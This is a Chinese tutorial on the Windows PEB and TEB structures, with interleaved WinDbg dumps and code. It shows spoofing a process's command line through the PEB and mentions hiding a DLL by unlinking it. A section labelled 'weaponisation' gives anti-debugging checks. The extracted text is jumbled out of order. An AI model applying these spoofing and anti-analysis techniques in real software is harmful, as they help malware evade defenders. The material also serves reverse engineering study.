UserDirectoryTableBase : Uint8B   +0x390 AddressPolicy   : UChar   +0x391 Spare2           : [71] UChar   +0x3d8 InstrumentationCallback : Ptr64 Void   +0x3e0 SecureState     : <anonymous-tag>   +0x3e8 KernelWaitTime   : Uint8B   +0x3f0 UserWaitTime     : Uint8B   +0x3f8 EndPadding       : [8] Uint8B dt也可查看一个或多个字段的内容,比如: 也支持使用.进程递归: lkd> dt nt!_eprocess UniqueProcessId   +0x440 UniqueProcessId : Ptr64 Void lkd> dt nt!_eprocess Pcb.   +0x000 Pcb :     +0x000 Header : _DISPATCHER_HEADER     +0x018 ProfileListHead : _LIST_ENTRY     +0x028 DirectoryTableBase : Uint8B     +0x030 ThreadListHead : _LIST_ENTRY     +0x040 ProcessLock : Uint4B     +0x044 ProcessTimerDelay : Uint4B     +0x048 DeepFreezeStartTime : Uint8B     +0x050 Affinity : _KAFFINITY_EX     +0x0f8 AffinityPadding : [12] Uint8B     +0x158 ReadyListHead : _LIST_ENTRY     +0x168 SwapListEntry : _SINGLE_LIST_ENTRY     +0x170 ActiveProcessors : _KAFFINITY_EX     +0x218 ActiveProcessorsPadding : [12] Uint8B     +0x278 AutoAlignment : Pos 0, 1 Bit     +0x278 DisableBoost : Pos 1, 1 Bit     +0x278 DisableQuantum : Pos 2, 1 Bit     +0x278 DeepFreeze : Pos 3, 1 Bit     +0x278 TimerVirtualization : Pos 4, 1 Bit     +0x278 CheckStackExtents : Pos 5, 1 Bit     +0x278 CacheIsolationEnabled : Pos 6, 1 Bit     +0x278 PpmPolicy : Pos 7, 3 Bits     +0x278 VaSpaceDeleted : Pos 10, 1 Bit     +0x278 ReservedFlags : Pos 11, 21 Bits     +0x278 ProcessFlags : Int4B     +0x27c ActiveGroupsMask : Uint4B     +0x280 BasePriority : Char     +0x281 QuantumReset : Char     +0x282 Visited : Char     +0x283 Flags : _KEXECUTE_OPTIONS     +0x284 ThreadSeed : [20] Uint2B     +0x2ac ThreadSeedPadding : [12] Uint2B     +0x2c4 IdealProcessor : [20] Uint2B     +0x2ec IdealProcessorPadding : [12] Uint2B     +0x304 IdealNode : [20] Uint2B     +0x32c IdealNodePadding : [12] Uint2B     +0x344 IdealGlobalNode : Uint2B     +0x346 Spare1 : Uint2B     +0x348 StackCount : _KSTACK_COUNT     +0x350 ProcessListEntry : _LIST_ENTRY     +0x360 CycleTime : Uint8B     +0x368 ContextSwitches : Uint8B     +0x370 SchedulingGroup : Ptr64 _KSCHEDULING_GROUP 现在我们可知道在进程的 +0x550处为PEB,那么我们可以将我们的windbg附加到我们想要查看PEB的 进程上,然后查看它的_PEB结构在它内存的+0x550处: 在新版的windbg中,附加之后直接!peb即可查看其详细内容:     +0x378 FreezeCount : Uint4B     +0x37c KernelTime : Uint4B     +0x380 UserTime : Uint4B     +0x384 ReadyTime : Uint4B     +0x388 UserDirectoryTableBase : Uint8B     +0x390 AddressPolicy : UChar     +0x391 Spare2 : [71] UChar     +0x3d8 InstrumentationCallback : Ptr64 Void     +0x3e0 SecureState : <anonymous-tag>     +0x3e8 KernelWaitTime : Uint8B     +0x3f0 UserWaitTime : Uint8B     +0x3f8 EndPadding : [8] Uint8B PEB结构 PEB结构是一个十分复杂的结构,且部分结构微软并未公开,我在网上找到了一个相对来说不错的图, 可以参考一下: 下面是一些PEB结构的利用手法,这里都以windbg作为主要的调试工具。 进程操控 我们先来看一下该进程的PEB内容: 在0x00007ff6`5b420000处为我们的ImageBaseAddress,我们查看其内容: 确实为我们的PE内容,我们来更改这个进程的命令行参数,用到的是ProcessParameters : 其结构为_RTL_USER_PROCESS_PARAMETERS: 其中的Commandline就是我们需要更改的项,其为一个_UNICODE_STRING结构: 可以看到在0x00000209`4b3f2c08 处就是我们需要更改的内容,使用db查看也可以验证我们的说法: 0:006> dt _UNICODE_STRING 0x00000209`4b3f2580+0x070 ntdll!_UNICODE_STRING ""C:\WINDOWS\system32\notepad.exe""   +0x000 Length           : 0x42   +0x002 MaximumLength   : 0x44   +0x008 Buffer           : 0x00000209`4b3f2c08 ""C:\WINDOWS\system32\notepad.exe"" 编辑它: 此时使用Process Hacker等工具查看,其命令行参数已被修改。 查看调用的dll 这里用到的是我们的LDR结构体,其本质为一个_PEB_LDR_DATA的结构体: 我们用到的是其中的InMemoryOrderModuleList ,由上面的思维导图可知其在LIST_ENTRY 与 LDR_DATA_TABLE_ENTRY 之中: 0:001> dt _PEB_LDR_DATA 0x00007fff`ff43a4c0 ntdll!_PEB_LDR_DATA   +0x000 Length           : 0x58   +0x004 Initialized     : 0x1 ''   +0x008 SsHandle         : (null)   +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000209`4b3f2f50 - 0x00000209`4b42a3f0 ]   +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000209`4b3f2f60 - 0x00000209`4b42a400 ]   +0x030 InInitializationOrderModuleList : _LIST_ENTRY [ 0x00000209`4b3f2de0 - 0x00000209`4b42aec0 ]   +0x040 EntryInProgress : (null)   +0x048 ShutdownInProgress : 0 ''   +0x050 ShutdownThreadId : (null) 因为其是一个内存区域我们可以用循环的方式来遍历它,输出类似如下: 0:001> !list -x "dt _LDR_DATA_TABLE_ENTRY" 0x00000209`4b3f2f60 ntdll!_LDR_DATA_TABLE_ENTRY   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000209`4b3f2dd0 - 0x00007fff`ff43a4e0 ]   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00007ff6`5b420000 - 0x00007ff6`5b445a30 ]   +0x030 DllBase         : 0x00000000`0003a000 Void   +0x038 EntryPoint       : 0x00000000`0040003e Void   +0x040 SizeOfImage     : 0x4b3f2bc8   +0x048 FullDllName     : _UNICODE_STRING "notepad.exe"   +0x058 BaseDllName     : _UNICODE_STRING "檰䭀ȉ"   +0x068 FlagGroup       : [4]  "???"   +0x068 Flags           : 0xff43a190   +0x068 PackagedBinary   : 0y0   +0x068 MarkedForRemoval : 0y0   +0x068 ImageDll         : 0y0   +0x068 LoadNotificationsSent : 0y0   +0x068 TelemetryEntryProcessed : 0y1   +0x068 ProcessStaticImport : 0y0   +0x068 InLegacyLists   : 0y0   +0x068 InIndexes       : 0y1   +0x068 ShimDll         : 0y1   +0x068 InExceptionTable : 0y0   +0x068 ReservedFlags1   : 0y00   +0x068 LoadInProgress   : 0y0   +0x068 LoadConfigProcessed : 0y1   +0x068 EntryProcessed   : 0y0   +0x068 ProtectDelayLoad : 0y1   +0x068 ReservedFlags3   : 0y11   +0x068 DontCallForThreads : 0y0   +0x068 ProcessAttachCalled : 0y0   +0x068 ProcessAttachFailed : 0y0   +0x068 CorDeferredValidate : 0y0   +0x068 CorImage         : 0y1   +0x068 DontRelocate     : 0y0   +0x068 CorILOnly       : 0y1   +0x068 ChpeImage       : 0y1   +0x068 ReservedFlags5   : 0y11   +0x068 Redirected       : 0y1   +0x068 ReservedFlags6   : 0y11   +0x068 CompatDatabaseProcessed : 0y1   +0x06c ObsoleteLoadCount : 0x7fff   +0x06e TlsIndex         : 0   +0x070 HashLinks       : _LIST_ENTRY [ 0x00000000`f57e80d4 - 0x00000000`00000000 ]   +0x080 TimeDateStamp   : 0   +0x088 EntryPointActivationContext : 0x00000209`4b3f3080 _ACTIVATION_CONTEXT   +0x090 Lock             : 0x00000209`4b3f3080 Void   +0x098 DdagNode         : 0x00000209`4b3f3080 _LDR_DDAG_NODE   +0x0a0 NodeModuleLink   : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]   +0x0b0 LoadContext     : 0x00007fff`ff3ec3a4 _LDRP_LOAD_CONTEXT   +0x0b8 ParentDllBase   : (null)   +0x0c0 SwitchBackContext : (null)   +0x0c8 BaseAddressIndexNode : _RTL_BALANCED_NODE   +0x0e0 MappingInfoIndexNode : _RTL_BALANCED_NODE   +0x0f8 OriginalBase     : 0x00000004`4c900b25   +0x100 LoadTime         : _LARGE_INTEGER 0x00000002`00000000   +0x108 BaseNameHashValue : 0   +0x10c LoadReason       : 0 ( LoadReasonStaticDependency )   +0x110 ImplicitPathOptions : 0   +0x114 ReferenceCount   : 0   +0x118 DependentLoadFlags : 0xfdf023f0   +0x11c SigningLevel     : 0x66 'f' ntdll!_LDR_DATA_TABLE_ENTRY   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000209`4b3f34f0 - 0x00000209`4b3f2f60 ]   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000209`4b3f3b10 - 0x00007fff`ff43a4f0 ]   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00007fff`ff2d0000 - 0x00000000`00000000 ]   +0x030 DllBase         : 0x00000000`001f5000 Void   +0x038 EntryPoint       : 0x00000000`003c003a Void   +0x040 SizeOfImage     : 0x4b3f2cc0   +0x048 FullDllName     : _UNICODE_STRING "ntdll.dll"   +0x058 BaseDllName     : _UNICODE_STRING "⸰䬿ȉ"   +0x068 FlagGroup       : [4]  "???"   +0x068 Flags           : 0xff43a280   +0x068 PackagedBinary   : 0y0   +0x068 MarkedForRemoval : 0y0   +0x068 ImageDll         : 0y0   +0x068 LoadNotificationsSent : 0y0   +0x068 TelemetryEntryProcessed : 0y0   +0x068 ProcessStaticImport : 0y0   +0x068 InLegacyLists   : 0y0   +0x068 InIndexes       : 0y1   +0x068 ShimDll         : 0y0   +0x068 InExceptionTable : 0y1   +0x068 ReservedFlags1   : 0y00   +0x068 LoadInProgress   : 0y0   +0x068 LoadConfigProcessed : 0y1   +0x068 EntryProcessed   : 0y0   +0x068 ProtectDelayLoad : 0y1   +0x068 ReservedFlags3   : 0y11   +0x068 DontCallForThreads : 0y0   +0x068 ProcessAttachCalled : 0y0   +0x068 ProcessAttachFailed : 0y0   +0x068 CorDeferredValidate : 0y0   +0x068 CorImage         : 0y1   +0x068 DontRelocate     : 0y0   +0x068 CorILOnly       : 0y1   +0x068 ChpeImage       : 0y1   +0x068 ReservedFlags5   : 0y11   +0x068 Redirected       : 0y1   +0x068 ReservedFlags6   : 0y11   +0x068 CompatDatabaseProcessed : 0y1   +0x06c ObsoleteLoadCount : 0x7fff   +0x06e TlsIndex         : 0   +0x070 HashLinks       : _LIST_ENTRY [ 0x00000000`a280d1d6 - 0x00000000`00000000 ]   +0x080 TimeDateStamp   : 0   +0x088 EntryPointActivationContext : 0x00000209`4b3f2ef0 _ACTIVATION_CONTEXT   +0x090 Lock             : 0x00000209`4b3f2ef0 Void   +0x098 DdagNode         : 0x00000209`4b3f2ef0 _LDR_DDAG_NODE   +0x0a0 NodeModuleLink   : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]   +0x0b0 LoadContext     : (null)   +0x0b8 ParentDllBase   : 0x00000209`4b4070f8 Void   +0x0c0 SwitchBackContext : (null)   +0x0c8 BaseAddressIndexNode : _RTL_BALANCED_NODE   +0x0e0 MappingInfoIndexNode : _RTL_BALANCED_NODE   +0x0f8 OriginalBase     : 0xf46857d4   +0x100 LoadTime         : _LARGE_INTEGER 0x00000002`00000000   +0x108 BaseNameHashValue : 0x800   +0x10c LoadReason       : 0 ( LoadReasonStaticDependency )   +0x110 ImplicitPathOptions : 0   +0x114 ReferenceCount   : 0   +0x118 DependentLoadFlags : 0xfdf023f0   +0x11c SigningLevel     : 0x66 'f' ntdll!_LDR_DATA_TABLE_ENTRY   +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000209`4b3f3b00 - 0x00000209`4b3f2dd0 ]   +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000209`4b3f4f30 - 0x00000209`4b3f3b10 ]   +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00007fff`fe180000 - 0x00007fff`fe1970d0 ]   +0x030 DllBase         : 0x00000000`000be000 Void   +0x038 EntryPoint       : 0x00000000`00420040 Void   +0x040 SizeOfImage     : 0x4b3f3670   +0x048 FullDllName     : _UNICODE_STRING "KERNEL32.DLL"   +0x058 BaseDllName     : _UNICODE_STRING "㕐䬿ȉ"   +0x068 FlagGroup       : [4]  "`???"   +0x068 Flags           : 0xff43a260   +0x068 PackagedBinary   : 0y0   +0x068 MarkedForRemoval : 0y0   +0x068 ImageDll         : 0y0 跟进其结构,实现模块断链隐藏dll也是没问题的。 上述过程使用!dlls命令结果也是相同的:   +0x068 LoadNotificationsSent : 0y0   +0x068 TelemetryEntryProcessed : 0y0   +0x068 ProcessStaticImport : 0y1   +0x068 InLegacyLists   : 0y1   +0x068 InIndexes       : 0y0   +0x068 ShimDll         : 0y0   +0x068 InExceptionTable : 0y1   +0x068 ReservedFlags1   : 0y00   +0x068 LoadInProgress   : 0y0   +0x068 LoadConfigProcessed : 0y1   +0x068 EntryProcessed   : 0y0   +0x068 ProtectDelayLoad : 0y1   +0x068 ReservedFlags3   : 0y11   +0x068 DontCallForThreads : 0y0   +0x068 ProcessAttachCalled : 0y0   +0x068 ProcessAttachFailed : 0y0   +0x068 CorDeferredValidate : 0y0   +0x068 CorImage         : 0y1   +0x068 DontRelocate     : 0y0   +0x068 CorILOnly       : 0y1   +0x068 ChpeImage       : 0y1   +0x068 ReservedFlags5   : 0y11   +0x068 Redirected       : 0y1   +0x068 ReservedFlags6   : 0y11   +0x068 CompatDatabaseProcessed : 0y1   +0x06c ObsoleteLoadCount : 0x7fff   +0x06e TlsIndex         : 0   +0x070 HashLinks       : _LIST_ENTRY [ 0x00000000`0871fae9 - 0x00000000`00000000 ]   +0x080 TimeDateStamp   : 0   +0x088 EntryPointActivationContext : 0x00000209`4b3f3610 _ACTIVATION_CONTEXT   +0x090 Lock             : 0x00000209`4b3f3610 Void   +0x098 DdagNode         : 0x00000209`4b3f3610 _LDR_DDAG_NODE   +0x0a0 NodeModuleLink   : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]   +0x0b0 LoadContext     : 0x00007fff`ff3ec3a4 _LDRP_LOAD_CONTEXT   +0x0b8 ParentDllBase   : 0x00000209`4b406b08 Void   +0x0c0 SwitchBackContext : 0x00000209`4b3f5f68 Void   +0x0c8 BaseAddressIndexNode : _RTL_BALANCED_NODE   +0x0e0 MappingInfoIndexNode : _RTL_BALANCED_NODE   +0x0f8 OriginalBase     : 0x00000004`536cd652   +0x100 LoadTime         : _LARGE_INTEGER 0x00000002`00004000   +0x108 BaseNameHashValue : 0   +0x10c LoadReason       : 0 ( LoadReasonStaticDependency )   +0x110 ImplicitPathOptions : 0   +0x114 ReferenceCount   : 0   +0x118 DependentLoadFlags : 0xfdf023f0   +0x11c SigningLevel     : 0x66 'f' 获取PEB 这里介绍几种常用的编程中调用PEB的方法,首先PEB结构庞杂,可以去http://bytepointer.com/resou rces/tebpeb32.htm、http://bytepointer.com/resources/tebpeb64.htm 去下载别人整理好的头文 件,方便相关结构体调用。 NtQueryInformationProcess NtQueryInformationProcess 是一个内核函数,用来查看进程信息,其结构体如下: 它的第二个参数可以是一个PROCESS_BASIC_INFORMATION的结构体: __kernel_entry NTSTATUS NtQueryInformationProcess( [in]            HANDLE           ProcessHandle, [in]            PROCESSINFOCLASS ProcessInformationClass, [out]           PVOID            ProcessInformation, [in]            ULONG            ProcessInformationLength, [out, optional] PULONG           ReturnLength ); 该结构体的第二个参数是指向PEB的指针,所以我们便可以使用该方法来获取PEB的内容,demo如下: 汇编调用 对于获取PEB来说32位与64位并不相同,分别存放在fs与gs寄存器中,这里分别给出64位与32位的汇编 代码: typedef struct _PROCESS_BASIC_INFORMATION {    NTSTATUS ExitStatus;    PPEB PebBaseAddress;    ULONG_PTR AffinityMask;    KPRIORITY BasePriority;    ULONG_PTR UniqueProcessId;    ULONG_PTR InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION; #include "Windows.h" #include "winternl.h" typedef NTSTATUS(*MYPROC) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); int main() { HANDLE h = GetCurrentProcess(); PROCESS_BASIC_INFORMATION ProcessInformation; ULONG lenght = 0; HINSTANCE ntdll; MYPROC GetProcessInformation; wchar_t commandline[] = L"C:\\windows\\system32\\notepad.exe"; ntdll = LoadLibrary(TEXT("Ntdll.dll")); //resolve address of NtQueryInformationProcess in ntdll.dll GetProcessInformation = (MYPROC)GetProcAddress(ntdll, "NtQueryInformationProcess"); //get _PEB object (GetProcessInformation)(h, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght); //replace commandline and imagepathname ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = commandline; ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = commandline; return 0; } X64: x86: 因为vs默认支持x86汇编,这里来演示x64如何内联汇编查找PEB,这里的代码直接选择获取其参数: 然后定义主程序,缺少的部分去上面的那个文件里面去找: GetPEBAsm64 proc    push rbx    xor rbx,rbx    xor rax,rax    mov rbx, qword ptr gs:[00000060h]    mov rax, rbx    pop rbx    ret GetPEBAsm64 endp __asm    {    mov eax, dword ptr fs : [00000030h]    mov peb, eax } .code ProcParam PROC mov rax, gs:[30h]      ; TEB from gs in 64 bit only mov rax, [rax+60h]     ; PEB mov rax, [rax+20h]     ; RTL_USER_PROCESS_PARAMETERS ret ProcParam ENDP end #include <stdio.h> typedef struct _UNICODE_STRING {    unsigned short Length;    unsigned short MaximumLength;    wchar_t* Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _CURDIR {    UNICODE_STRING DosPath; 这里可做你想要的任何修改,原结构如下:    void* Handle; } CURDIR, * PCURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS {    unsigned int MaximumLength;    unsigned int Length;    unsigned int Flags;    unsigned int DebugFlags;    void* ConsoleHandle;    unsigned int ConsoleFlags;    void* StandardInput;    void* StandardOutput;    void* StandardError;    CURDIR CurrentDirectory; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; PRTL_USER_PROCESS_PARAMETERS ProcParam(void); int main(void) {    wprintf(L"%s\n", ProcParam()->CurrentDirectory.DosPath.Buffer); } typedef struct _RTL_USER_PROCESS_PARAMETERS {    DWORD                   MaximumLength;                 //0x00    DWORD                   Length;                        //0x04    DWORD                   Flags;                         //0x08    DWORD                   DebugFlags;                    //0x0C    void*                   ConsoleHandle;                 //0x10    DWORD                   ConsoleFlags;                  //0x14    HANDLE                  StdInputHandle;                //0x18    HANDLE                  StdOutputHandle;               //0x1C    HANDLE                  StdErrorHandle;                //0x20    UNICODE_STRING          CurrentDirectoryPath;          //0x24    HANDLE                  CurrentDirectoryHandle;        //0x2C    UNICODE_STRING          DllPath;                       //0x30    UNICODE_STRING          ImagePathName;                 //0x38    UNICODE_STRING          CommandLine;                   //0x40    void*                   Environment;                   //0x48    DWORD                   StartingPositionLeft;          //0x4C    DWORD                   StartingPositionTop;           //0x50    DWORD                   Width;                         //0x54    DWORD                   Height;                        //0x58    DWORD                   CharWidth;                     //0x5C    DWORD                   CharHeight;                    //0x60    DWORD                   ConsoleTextAttributes;         //0x64    DWORD                   WindowFlags;                   //0x68    DWORD                   ShowWindowFlags;               //0x6C    UNICODE_STRING          WindowTitle;                   //0x70 生成时在asm上选择: 并勾选nasm: 运行:    UNICODE_STRING          DesktopName;                   //0x78    UNICODE_STRING          ShellInfo;                     //0x80    UNICODE_STRING          RuntimeData;                   //0x88    RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];      //0x90 } RTL_USER_PROCESS_PARAMETERS; vs自带命令 readfsdword(0x30)与readgsqword(0x60)的使用 代码如下: #include <stdio.h> #include <winternl.h> #include <Windows.h> typedef struct _UNICODE_STRING {    USHORT Length;    USHORT MaximumLength;    PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef struct _PEB_LDR_DATA {    BYTE       Reserved1[8];    PVOID      Reserved2[3];    LIST_ENTRY InMemoryOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _RTL_USER_PROCESS_PARAMETERS {    BYTE           Reserved1[16];    PVOID          Reserved2[10];    UNICODE_STRING ImagePathName;    UNICODE_STRING CommandLine; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; typedef struct _PEB {    BYTE                          Reserved1[2];    BYTE                          BeingDebugged;    BYTE                          Reserved2[1];    PVOID                         Reserved3[2];    PPEB_LDR_DATA                 Ldr;    PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;    PVOID                         Reserved4[3];    PVOID                         AtlThunkSListPtr;    PVOID                         Reserved5;    ULONG                         Reserved6; 内核层调用 这个一般用不到,函数位PsGetProcessPeb 武器化 反调试 参考:https://jev0n.com/2021/11/18/debug-1.html    PVOID                         Reserved7;    ULONG                         Reserved8;    ULONG                         AtlThunkSListPtr32;    PVOID                         Reserved9[45];    BYTE                          Reserved10[96];    BYTE                          Reserved11[128];    PVOID                         Reserved12[1];    ULONG                         SessionId; } PEB, * PPEB; #ifndef _WIN64 PPEB pPeb = (PPEB)__readfsdword(0x30); #else PPEB pPeb = (PPEB)__readgsqword(0x60); #endif // _WIN64 int main(void) {    wprintf(L"%s\n", pPeb->ProcessParameters->CommandLine.Buffer); } IsDebuggerPresent函数反调试 这个API是最经典检测调试器的函数,它底层原理就是返回PEB结构中BeingDebugged位的值,当有调 试器附加的时候BeingDebugged位被置为1。 NtGlobalFlag标志位 PEB的NtGlobalFlag字段(32位Windows的0x68偏移,64位Windows的0xBC)默认为0。反检测代 码: Heap Flags 在PEB的ProcessHeap位指向_HEAP结构体,该结构体中有俩个字段会受到调试器的影响,具体如何影 响,取决于Windows的版本,主要是修改原始的内容,这两个字段是Flags和ForceFlags。x86检测代码 如下: #define FLG_HEAP_ENABLE_TAIL_CHECK   0x10 #define FLG_HEAP_ENABLE_FREE_CHECK   0x20 #define FLG_HEAP_VALIDATE_PARAMETERS 0x40 #define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS) #ifndef _WIN64 PPEB pPeb = (PPEB)__readfsdword(0x30); DWORD dwNtGlobalFlag = *(PDWORD)((PBYTE)pPeb + 0x68); #else PPEB pPeb = (PPEB)__readgsqword(0x60); DWORD dwNtGlobalFlag = *(PDWORD)((PBYTE)pPeb + 0xBC); #endif // _WIN64 if (dwNtGlobalFlag & NT_GLOBAL_FLAG_DEBUGGED)    do something... 堆Magic标志 当进程被调试器调试时该进程堆会被一些特殊的标志填充,这些特殊标记分别是0xABABABAB , 0xFEEEFEEE。在调试模式下, NtGlobalFlag的HEAP_TAIL_CHECKING_ENABLED 标志将被默认设置, 堆内存分配会在末尾追加 0xABABABAB标志进行安全检查,如果NtGlobalFlag设置了 HEAP_FREE_CHECKING_ENABLED标志,那么当需要额外的字节来填充堆块尾部时, 就会使用 0xFEEEFEEE(或一部分) 来填充。检测代码如下: api调用 这个有现成的代码,拿去看好了:https://gist.github.com/christophetd/37141ba273b447ff885c323c 0a7aff93 TEB BOOL CheckHeapFlagsDebug() {    PPEB pPeb = (PPEB)__readfsdword(0x30);    PVOID pHeapBase = (PVOID)(*(PDWORD_PTR)((PBYTE)pPeb + 0x18));    DWORD dwHeapFlagsOffset = 0x40;    DWORD dwHeapForceFlagsOffset = 0x44;    PDWORD pdwHeapFlags = (PDWORD)((PBYTE)pHeapBase + dwHeapFlagsOffset);    PDWORD pdwHeapForceFlags = (PDWORD)((PBYTE)pHeapBase + dwHeapForceFlagsOffset);    //HEAP_GROWABLE (2)    return (*pdwHeapFlags & ~HEAP_GROWABLE) || (*pdwHeapForceFlags != 0); } BOOL CheckHeapMagic() {    PROCESS_HEAP_ENTRY HeapEntry = { 0 };    do   {        if (!HeapWalk(GetProcessHeap(), &HeapEntry))            return false;   } while (HeapEntry.wFlags != PROCESS_HEAP_ENTRY_BUSY);    PVOID pOverlapped = (PBYTE)HeapEntry.lpData + HeapEntry.cbData;    return ((DWORD)(*(PDWORD)pOverlapped) == 0xABABABAB); } 顾名思义就是线程环境块啦。这个就没那么多玩法了(可以查TEB,里面也有令牌)。先来看一下线程的结 构,与进程类似是一个ETHREAD结构,包含KTHREAD结构: 0:006> dt nt!_ethread ntdll!_ETHREAD   +0x000 Tcb             : _KTHREAD   +0x430 CreateTime       : _LARGE_INTEGER   +0x438 ExitTime         : _LARGE_INTEGER   +0x438 KeyedWaitChain   : _LIST_ENTRY   +0x448 PostBlockList   : _LIST_ENTRY   +0x448 ForwardLinkShadow : Ptr64 Void   +0x450 StartAddress     : Ptr64 Void   +0x458 TerminationPort : Ptr64 _TERMINATION_PORT   +0x458 ReaperLink       : Ptr64 _ETHREAD   +0x458 KeyedWaitValue   : Ptr64 Void   +0x460 ActiveTimerListLock : Uint8B   +0x468 ActiveTimerListHead : _LIST_ENTRY   +0x478 Cid             : _CLIENT_ID   +0x488 KeyedWaitSemaphore : _KSEMAPHORE   +0x488 AlpcWaitSemaphore : _KSEMAPHORE   +0x4a8 ClientSecurity   : _PS_CLIENT_SECURITY_CONTEXT   +0x4b0 IrpList         : _LIST_ENTRY   +0x4c0 TopLevelIrp     : Uint8B   +0x4c8 DeviceToVerify   : Ptr64 _DEVICE_OBJECT   +0x4d0 Win32StartAddress : Ptr64 Void   +0x4d8 ChargeOnlySession : Ptr64 Void   +0x4e0 LegacyPowerObject : Ptr64 Void   +0x4e8 ThreadListEntry : _LIST_ENTRY   +0x4f8 RundownProtect   : _EX_RUNDOWN_REF   +0x500 ThreadLock       : _EX_PUSH_LOCK   +0x508 ReadClusterSize : Uint4B   +0x50c MmLockOrdering   : Int4B   +0x510 CrossThreadFlags : Uint4B   +0x510 Terminated       : Pos 0, 1 Bit   +0x510 ThreadInserted   : Pos 1, 1 Bit   +0x510 HideFromDebugger : Pos 2, 1 Bit   +0x510 ActiveImpersonationInfo : Pos 3, 1 Bit   +0x510 HardErrorsAreDisabled : Pos 4, 1 Bit   +0x510 BreakOnTermination : Pos 5, 1 Bit   +0x510 SkipCreationMsg : Pos 6, 1 Bit   +0x510 SkipTerminationMsg : Pos 7, 1 Bit   +0x510 CopyTokenOnOpen : Pos 8, 1 Bit   +0x510 ThreadIoPriority : Pos 9, 3 Bits   +0x510 ThreadPagePriority : Pos 12, 3 Bits   +0x510 RundownFail     : Pos 15, 1 Bit   +0x510 UmsForceQueueTermination : Pos 16, 1 Bit   +0x510 IndirectCpuSets : Pos 17, 1 Bit   +0x510 DisableDynamicCodeOptOut : Pos 18, 1 Bit   +0x510 ExplicitCaseSensitivity : Pos 19, 1 Bit   +0x510 PicoNotifyExit   : Pos 20, 1 Bit   +0x510 DbgWerUserReportActive : Pos 21, 1 Bit   +0x510 ForcedSelfTrimActive : Pos 22, 1 Bit   +0x510 SamplingCoverage : Pos 23, 1 Bit   +0x510 ReservedCrossThreadFlags : Pos 24, 8 Bits   +0x514 SameThreadPassiveFlags : Uint4B   +0x514 ActiveExWorker   : Pos 0, 1 Bit   +0x514 MemoryMaker     : Pos 1, 1 Bit   +0x514 StoreLockThread : Pos 2, 2 Bits   +0x514 ClonedThread     : Pos 4, 1 Bit   +0x514 KeyedEventInUse : Pos 5, 1 Bit   +0x514 SelfTerminate   : Pos 6, 1 Bit   +0x514 RespectIoPriority : Pos 7, 1 Bit   +0x514 ActivePageLists : Pos 8, 1 Bit   +0x514 SecureContext   : Pos 9, 1 Bit   +0x514 ZeroPageThread   : Pos 10, 1 Bit   +0x514 WorkloadClass   : Pos 11, 1 Bit   +0x514 ReservedSameThreadPassiveFlags : Pos 12, 20 Bits   +0x518 SameThreadApcFlags : Uint4B   +0x518 OwnsProcessAddressSpaceExclusive : Pos 0, 1 Bit   +0x518 OwnsProcessAddressSpaceShared : Pos 1, 1 Bit   +0x518 HardFaultBehavior : Pos 2, 1 Bit   +0x518 StartAddressInvalid : Pos 3, 1 Bit   +0x518 EtwCalloutActive : Pos 4, 1 Bit   +0x518 SuppressSymbolLoad : Pos 5, 1 Bit   +0x518 Prefetching     : Pos 6, 1 Bit   +0x518 OwnsVadExclusive : Pos 7, 1 Bit   +0x519 SystemPagePriorityActive : Pos 0, 1 Bit   +0x519 SystemPagePriority : Pos 1, 3 Bits   +0x519 AllowUserWritesToExecutableMemory : Pos 4, 1 Bit   +0x519 AllowKernelWritesToExecutableMemory : Pos 5, 1 Bit   +0x519 OwnsVadShared   : Pos 6, 1 Bit   +0x51c CacheManagerActive : UChar   +0x51d DisablePageFaultClustering : UChar   +0x51e ActiveFaultCount : UChar   +0x51f LockOrderState   : UChar   +0x520 PerformanceCountLowReserved : Uint4B   +0x524 PerformanceCountHighReserved : Int4B   +0x528 AlpcMessageId   : Uint8B   +0x530 AlpcMessage     : Ptr64 Void   +0x530 AlpcReceiveAttributeSet : Uint4B   +0x538 AlpcWaitListEntry : _LIST_ENTRY   +0x548 ExitStatus       : Int4B   +0x54c CacheManagerCount : Uint4B   +0x550 IoBoostCount     : Uint4B   +0x554 IoQoSBoostCount : Uint4B   +0x558 IoQoSThrottleCount : Uint4B   +0x55c KernelStackReference : Uint4B   +0x560 BoostList       : _LIST_ENTRY   +0x570 DeboostList     : _LIST_ENTRY   +0x580 BoostListLock   : Uint8B   +0x588 IrpListLock     : Uint8B   +0x590 ReservedForSynchTracking : Ptr64 Void   +0x598 CmCallbackListHead : _SINGLE_LIST_ENTRY   +0x5a0 ActivityId       : Ptr64 _GUID   +0x5a8 SeLearningModeListHead : _SINGLE_LIST_ENTRY   +0x5b0 VerifierContext : Ptr64 Void   +0x5b8 AdjustedClientToken : Ptr64 Void   +0x5c0 WorkOnBehalfThread : Ptr64 Void   +0x5c8 PropertySet     : _PS_PROPERTY_SET   